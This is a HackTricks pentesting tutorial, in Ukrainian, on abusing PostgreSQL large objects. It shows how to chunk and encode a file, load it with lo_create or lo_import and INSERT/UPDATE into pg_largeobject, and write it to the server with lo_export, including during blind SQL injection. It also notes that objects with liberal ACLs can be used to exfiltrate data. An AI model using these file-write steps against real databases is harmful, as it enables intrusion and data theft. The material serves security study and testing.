tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
PostgreSQL Великі Об'єкти
PostgreSQL пропонує структуру, відому як великі об'єкти, доступну через таблицю pg_largeobject
, призначену для зберігання великих типів даних, таких як зображення або PDF-документи. Цей підхід є вигіднішим у порівнянні з функцією COPY TO
, оскільки він дозволяє експортувати дані назад до файлової системи, забезпечуючи точну копію оригінального файлу.
Для зберігання повного файлу в цій таблиці, об'єкт повинен бути створений у таблиці pg_largeobject
(ідентифікований за LOID), після чого дані розбиваються на частини, кожна з яких має розмір 2KB, і вставляються в цей об'єкт. Важливо, щоб ці частини мали точно 2KB в розмірі (з можливим винятком останньої частини), щоб функція експорту працювала правильно.
Щоб поділити ваші бінарні дані на частини по 2KB, можна виконати такі команди:
split -b 2048 your_file # Creates 2KB sized files
Для кодування кожного файлу в Base64 або Hex можна використовувати такі команди:
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
Важливо: При автоматизації цього процесу переконайтеся, що надсилаєте частини по 2 КБ чистих байтів. Файли в шістнадцятковому кодуванні вимагатимуть 4 КБ даних на частину через подвоєння розміру, тоді як файли в кодуванні Base64 слідують формулі ceil(n / 3) * 4
.
Вміст великих об'єктів можна переглядати для налагодження за допомогою:
select loid, pageno, encode(data, 'escape') from pg_largeobject;
Використання lo_creat
та Base64
Щоб зберегти бінарні дані, спочатку створюється LOID:
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
У ситуаціях, що вимагають точного контролю, таких як експлуатація Blind SQL Injection, lo_create
віддається перевага для вказівки фіксованого LOID.
Частини даних можна вставити наступним чином:
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
Щоб експортувати та потенційно видалити великий об'єкт після використання:
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
Використання lo_import
та Hex
Функція lo_import
може бути використана для створення та вказівки LOID для великого об'єкта:
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
Після створення об'єкта дані вставляються по сторінках, забезпечуючи, щоб кожен фрагмент не перевищував 2 КБ:
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
Щоб завершити процес, дані експортуються, а великий об'єкт видаляється:
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
Обмеження
Зазначено, що великі об'єкти можуть мати ACL (Списки контролю доступу), що потенційно обмежує доступ навіть до об'єктів, створених вашим користувачем. Однак старі об'єкти з ліберальними ACL все ще можуть бути доступні для ексфільтрації вмісту.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.